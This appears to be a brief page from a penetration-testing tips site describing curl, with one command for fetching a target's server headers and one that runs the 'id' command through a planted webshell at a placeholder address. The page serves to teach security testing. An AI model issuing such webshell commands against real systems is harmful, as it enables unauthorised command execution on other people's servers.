> For the complete documentation index, see [llms.txt](https://csbygb.gitbook.io/pentips/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://csbygb.gitbook.io/pentips/tools/curl.md).

# Curl

We can use cURL to retrieve server header information from the command line.

* `curl -IL https://www.ourtarget.com`
* `curl http://SERVER_IP:PORT/shell.php?cmd=id` execute a command with a webshell.
